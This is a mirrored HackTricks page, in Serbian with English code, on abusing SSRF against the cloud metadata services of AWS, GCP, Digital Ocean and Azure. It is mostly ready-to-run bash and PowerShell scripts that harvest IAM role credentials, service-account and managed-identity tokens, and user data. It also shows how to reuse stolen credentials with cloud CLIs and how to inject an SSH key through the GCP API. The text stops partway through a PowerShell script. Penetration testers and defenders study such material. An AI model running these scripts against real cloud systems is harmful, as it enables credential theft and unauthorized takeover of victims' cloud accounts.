mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
626 lines
30 KiB
Markdown
626 lines
30 KiB
Markdown
# Cloud SSRF
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## AWS
|
|
|
|
### Zloupotreba SSRF u AWS EC2 okruženju
|
|
|
|
**Metapodaci** endpoint može se pristupiti iz bilo koje EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
|
|
|
Postoje **2 verzije** metapodatkovnog endpoint-a. **Prva** omogućava **pristup** endpoint-u putem **GET** zahteva (tako da svaka **SSRF može to iskoristiti**). Za **verziju 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), potrebno je zatražiti **token** slanjem **PUT** zahteva sa **HTTP zaglavljem** i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je **komplikovanije zloupotrebiti** sa SSRF).
|
|
|
|
> [!CAUTION]
|
|
> Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor PUT zahteva** će imati **hop limit od 1**, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.
|
|
>
|
|
> Pored toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju `X-Forwarded-For` zaglavlje**. Ovo je da se spreči da pogrešno konfigurisani obrnuti proxy-evi mogu da mu pristupe.
|
|
|
|
Možete pronaći informacije o [metapodacima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu dobijaju se neke zanimljive informacije iz njega:
|
|
```bash
|
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
|
URL="http://169.254.169.254/latest/meta-data"
|
|
|
|
aws_req=""
|
|
if [ "$(command -v curl)" ]; then
|
|
aws_req="curl -s -f -H '$HEADER'"
|
|
elif [ "$(command -v wget)" ]; then
|
|
aws_req="wget -q -O - -H '$HEADER'"
|
|
else
|
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
|
fi
|
|
|
|
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
|
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
|
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
|
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
|
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
|
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
|
|
|
echo ""
|
|
echo "Account Info"
|
|
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
|
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
|
|
|
echo ""
|
|
echo "Network Info"
|
|
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
|
echo "Mac: $mac"
|
|
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
|
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
|
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
|
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
|
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
|
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
|
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
|
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
|
echo ""
|
|
done
|
|
|
|
echo ""
|
|
echo "IAM Role"
|
|
eval $aws_req "$URL/iam/info"
|
|
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
|
echo "Role: $role"
|
|
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
|
echo ""
|
|
done
|
|
|
|
echo ""
|
|
echo "User Data"
|
|
# Search hardcoded credentials
|
|
eval $aws_req "http://169.254.169.254/latest/user-data"
|
|
|
|
echo ""
|
|
echo "EC2 Security Credentials"
|
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
|
```
|
|
Kao **javne IAM akreditive** izloženi primer možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
|
|
|
Takođe možete proveriti javne **EC2 sigurnosne akreditive** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
|
|
|
Zatim možete uzeti **te akreditive i koristiti ih sa AWS CLI**. To će vam omogućiti da radite **bilo šta što ta uloga ima dozvolu** da radi.
|
|
|
|
Da biste iskoristili nove akreditive, potrebno je da kreirate novi AWS profil kao što je ovaj:
|
|
```
|
|
[profilename]
|
|
aws_access_key_id = ASIA6GG71[...]
|
|
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
|
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
|
```
|
|
Obratite pažnju na **aws_session_token**, ovo je neophodno za rad profila.
|
|
|
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim akreditivima da saznate svoje privilegije i pokušate da eskalirate privilegije.
|
|
|
|
### SSRF u AWS ECS (Container Service) akreditivi
|
|
|
|
**ECS** je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate sopstvenu infrastrukturu za upravljanje klasterom, jer ECS to upravlja umesto vas. Ako uspete da kompromitujete uslugu koja se pokreće u **ECS**, **metapodaci se menjaju**.
|
|
|
|
Ako pristupite _**http://169.254.170.2/v2/credentials/\<GUID>**_ pronaći ćete akreditive ECS mašine. Ali prvo morate da **pronađete \<GUID>**. Da biste pronašli \<GUID>, potrebno je da pročitate **environ** promenljivu **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** unutar mašine.\
|
|
Možete biti u mogućnosti da je pročitate iskorišćavajući **Path Traversal** na `file:///proc/self/environ`\
|
|
Pomenuta http adresa bi trebala da vam pruži **AccessKey, SecretKey i token**.
|
|
```bash
|
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
|
```
|
|
> [!NOTE]
|
|
> Imajte na umu da u **nekih slučajevima** ćete moći da pristupite **EC2 metapodacima instance** iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i IAM ulozi EC2.
|
|
|
|
### SSRF za AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
|
|
|
U ovom slučaju **akreditivi se čuvaju u env varijablama**. Dakle, da biste im pristupili, potrebno je da pristupite nečemu poput **`file:///proc/self/environ`**.
|
|
|
|
**Ime** **zanimljivih env varijabli** su:
|
|
|
|
- `AWS_SESSION_TOKEN`
|
|
- `AWS_SECRET_ACCESS_KEY`
|
|
- `AWS_ACCES_KEY_ID`
|
|
|
|
Pored toga, pored IAM akreditiva, Lambda funkcije takođe imaju **podatke o događaju koji se prosleđuju funkciji kada se pokrene**. Ovi podaci su dostupni funkciji putem [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **osetljive** **informacije** (kao unutar **stageVariables**). Za razliku od IAM akreditiva, ovi podaci su dostupni preko standardnog SSRF na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
|
|
|
> [!WARNING]
|
|
> Imajte na umu da su **lambda akreditivi** unutar **env varijabli**. Dakle, ako **stack trace** lambda koda ispisuje env varijable, moguće je **izvršiti exfiltraciju izazivajući grešku** u aplikaciji.
|
|
|
|
### SSRF URL za AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
|
|
|
Preuzimamo `accountId` i `region` iz API-ja.
|
|
```
|
|
http://169.254.169.254/latest/dynamic/instance-identity/document
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
Zatim preuzimamo `AccessKeyId`, `SecretAccessKey` i `Token` iz API-ja.
|
|
```
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
 
|
|
|
|
Zatim koristimo kredencijale sa `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
|
|
|
## GCP <a href="#id-6440" id="id-6440"></a>
|
|
|
|
Možete [**pronaći ovde dokumentaciju o metapodacima**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
|
|
|
### SSRF URL za Google Cloud <a href="#id-6440" id="id-6440"></a>
|
|
|
|
Zahteva HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti metapodacima putem sledećih URL-ova:
|
|
|
|
- http://169.254.169.254
|
|
- http://metadata.google.internal
|
|
- http://metadata
|
|
|
|
Zanimljivi krajnji tačke za ekstrakciju informacija:
|
|
```bash
|
|
# /project
|
|
# Project name and number
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
|
# Project attributes
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
|
|
|
# /oslogin
|
|
# users
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
|
# groups
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
|
# security-keys
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
|
# authorize
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
|
|
|
# /instance
|
|
# Description
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
|
# Hostname
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
|
# ID
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
|
# Image
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
|
# Machine Type
|
|
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
|
# Name
|
|
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
|
# Tags
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
|
# Zone
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
|
# User data
|
|
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
|
# Network Interfaces
|
|
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
|
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
|
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
|
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
|
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
|
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
|
echo " ============== "
|
|
done
|
|
# Service Accounts
|
|
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
|
echo " Name: $sa"
|
|
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
|
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
|
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
|
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
|
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
|
echo " ============== "
|
|
done
|
|
# K8s Attributtes
|
|
## Cluster location
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
|
## Cluster name
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
|
## Os-login enabled
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
|
## Kube-env
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
|
## Kube-labels
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
|
## Kubeconfig
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
|
|
|
# All custom project attributes
|
|
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
|
-H "Metadata-Flavor: Google"
|
|
|
|
# All custom project attributes instance attributes
|
|
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
|
-H "Metadata-Flavor: Google"
|
|
```
|
|
Beta NE zahteva header trenutno (hvala Mathiasu Karlssonu @avlidienbrunn)
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/
|
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
|
```
|
|
> [!CAUTION]
|
|
> Da biste **koristili eksfiltrirani token servisnog naloga** možete jednostavno uraditi:
|
|
>
|
|
> ```bash
|
|
> # Putem env varijabli
|
|
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
|
> gcloud projects list
|
|
>
|
|
> # Putem podešavanja
|
|
> echo "<token>" > /some/path/to/token
|
|
> gcloud config set auth/access_token_file /some/path/to/token
|
|
> gcloud projects list
|
|
> gcloud config unset auth/access_token_file
|
|
> ```
|
|
|
|
### Dodajte SSH ključ <a href="#id-3e24" id="id-3e24"></a>
|
|
|
|
Izvucite token
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
|
```
|
|
Proverite opseg tokena (sa prethodnim izlazom ili pokretanjem sledećeg)
|
|
```bash
|
|
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
|
"issued_to": "101302079XXXXX",
|
|
"audience": "10130207XXXXX",
|
|
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
|
"expires_in": 2443,
|
|
"access_type": "offline"
|
|
}
|
|
```
|
|
Sada pošaljite SSH ključ.
|
|
```bash
|
|
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
|
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
|
-H "Content-Type: application/json"
|
|
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
|
```
|
|
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
|
|
|
Metadata endpoint funkcioniše isto kao u VMs, ali bez nekih endpoint-a:
|
|
```bash
|
|
# /project
|
|
# Project name and number
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
|
|
|
# /instance
|
|
# ID
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
|
# Zone
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
|
# Auto MTLS config
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
|
# Service Accounts
|
|
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
|
echo " Name: $sa"
|
|
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
|
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
|
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
|
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
|
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
|
echo " ============== "
|
|
done
|
|
```
|
|
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
|
|
|
> [!WARNING]
|
|
> Ne postoje stvari poput AWS uloga ili GCP servisnog naloga, tako da ne očekujte da ćete pronaći kredencijale za metadata bot
|
|
|
|
Dokumentacija dostupna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
|
```
|
|
curl http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1.json
|
|
http://169.254.169.254/metadata/v1/
|
|
http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1/user-data
|
|
http://169.254.169.254/metadata/v1/hostname
|
|
http://169.254.169.254/metadata/v1/region
|
|
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
|
curl http://169.254.169.254/metadata/v1.json | jq
|
|
```
|
|
## Azure <a href="#cea8" id="cea8"></a>
|
|
|
|
### Azure VM
|
|
|
|
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
|
|
|
- **Mora** sadržati zaglavlje `Metadata: true`
|
|
- Ne sme **imati** zaglavlje `X-Forwarded-For`
|
|
|
|
> [!TIP]
|
|
> Azure VM može imati prikačenu 1 sistemsku upravljanu identitet i nekoliko korisnički upravljanih identiteta. Što u suštini znači da možete **imitirati sve upravljane identitete prikačene na VM**.
|
|
>
|
|
> Po **defaultu**, metadata endpoint će koristiti **sistemski dodeljeni MI (ako postoji)**.
|
|
>
|
|
> Nažalost, nisam mogao pronaći nijedan metadata endpoint koji ukazuje na sve MIs koje VM ima prikačene.
|
|
>
|
|
> Stoga, da biste pronašli sve prikačene MIs, možete uraditi:
|
|
>
|
|
> - Dobiti **prikačene identitete pomoću az cli** (ako ste već kompromitovali neki princip u Azure tenant-u)
|
|
>
|
|
> ```bash
|
|
> az vm identity show \
|
|
> --resource-group <rsc-group> \
|
|
> --name <vm-name>
|
|
> ```
|
|
>
|
|
> - Dobiti **prikačene identitete** koristeći podrazumevani prikačeni MI u metapodacima:
|
|
>
|
|
> ```bash
|
|
> export API_VERSION="2021-12-13"
|
|
>
|
|
> # Dobijte token iz podrazumevanog MI
|
|
> export TOKEN=$(curl -s -H "Metadata:true" \
|
|
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
|
> | jq -r '.access_token')
|
|
>
|
|
> # Dobijte potrebne detalje
|
|
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
|
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
|
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
|
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
|
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
|
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
|
>
|
|
> # Pokušajte da dobijete prikačene MIs
|
|
> curl -s -H "Authorization: Bearer $TOKEN" \
|
|
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
|
> ```
|
|
>
|
|
> - **Dobijte sve** definisane upravljane identitete u tenant-u i **brute force** da vidite da li je neki od njih prikačen na VM:
|
|
>
|
|
> ```bash
|
|
> az identity list
|
|
> ```
|
|
|
|
> [!CAUTION]
|
|
> U zahtevima za token koristite bilo koji od parametara `object_id`, `client_id` ili `msi_res_id` da označite upravljani identitet koji želite da koristite ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ako nijedan, **podrazumevani MI će biti korišćen**.
|
|
|
|
{{#tabs}}
|
|
{{#tab name="Bash"}}
|
|
```bash
|
|
HEADER="Metadata:true"
|
|
URL="http://169.254.169.254/metadata"
|
|
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
|
|
|
echo "Instance details"
|
|
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
|
|
|
echo "Load Balancer details"
|
|
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
|
|
|
echo "Management Token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
|
|
|
echo "Graph token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
|
|
|
echo "Vault token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
|
|
|
echo "Storage token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="PS"}}
|
|
```bash
|
|
# Powershell
|
|
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
|
## User data
|
|
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
|
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
|
|
|
# Paths
|
|
/metadata/instance?api-version=2017-04-02
|
|
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
|
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
|
```
|
|
{{#endtab}}
|
|
{{#endtabs}}
|
|
|
|
### Azure App & Functions Services
|
|
|
|
Iz **env** možete dobiti vrednosti **`IDENTITY_HEADER`** i **`IDENTITY_ENDPOINT`**. To možete koristiti za prikupljanje tokena za komunikaciju sa serverom metapodataka.
|
|
|
|
Većinu vremena, želite token za jedan od ovih resursa:
|
|
|
|
- [https://storage.azure.com](https://storage.azure.com/)
|
|
- [https://vault.azure.net](https://vault.azure.net/)
|
|
- [https://graph.microsoft.com](https://graph.microsoft.com/)
|
|
- [https://management.azure.com](https://management.azure.com/)
|
|
|
|
> [!CAUTION]
|
|
> U zahtevima za token koristite bilo koji od parametara `object_id`, `client_id` ili `msi_res_id` da označite upravljanu identitet koju želite da koristite ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ako nijedan, **biće korišćen podrazumevani MI**.
|
|
|
|
{{#tabs}}
|
|
{{#tab name="Bash"}}
|
|
```bash
|
|
# Check for those env vars to know if you are in an Azure app
|
|
echo $IDENTITY_HEADER
|
|
echo $IDENTITY_ENDPOINT
|
|
|
|
# (Fingerprint) You should also be able to find the folder:
|
|
ls /opt/microsoft
|
|
|
|
# Get management token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
|
# Get graph token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
|
# Get vault token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
|
# Get storage token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="PS"}}
|
|
```powershell
|
|
# Define the API version
|
|
$API_VERSION = "2019-08-01"
|
|
|
|
# Function to get a token for a specified resource
|
|
function Get-Token {
|
|
param (
|
|
[string]$Resource
|
|
)
|
|
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
|
|
$headers = @{
|
|
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
|
|
}
|
|
try {
|
|
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
|
|
$response.access_token
|
|
} catch {
|
|
Write-Error "Error obtaining token for $Resource: $_"
|
|
}
|
|
}
|
|
|
|
# Get Management Token
|
|
$managementToken = Get-Token -Resource "https://management.azure.com/"
|
|
Write-Host "Management Token: $managementToken"
|
|
|
|
# Get Graph Token
|
|
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
|
|
Write-Host "Graph Token: $graphToken"
|
|
|
|
# Get Vault Token
|
|
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
|
|
Write-Host "Vault Token: $vaultToken"
|
|
|
|
# Get Storage Token
|
|
$storageToken = Get-Token -Resource "https://storage.azure.com/"
|
|
